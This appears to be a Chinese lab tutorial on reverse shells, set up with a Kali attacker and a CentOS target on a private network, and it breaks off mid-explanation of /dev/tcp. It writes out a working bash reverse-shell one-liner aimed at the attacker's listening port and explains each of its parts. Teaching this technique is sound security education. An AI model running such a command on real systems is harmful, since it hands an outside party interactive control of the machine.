环境
攻击机:kali ip:192.168.25.144
靶 机:centos ip:192.168.25.142
过程
kali 监听本地8888端口
靶机 centos 写入 反弹shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻击机 kali 成功反弹shell
原理
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互
我们将命令拆开
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途
查询当前shell命令 ls -l /bin/sh
bash -i 打开一个交互式的bash shell 如果有 -i 参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有参数 i ,是交互式的
执行一个shell脚本
无参数 i ,非交互式
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就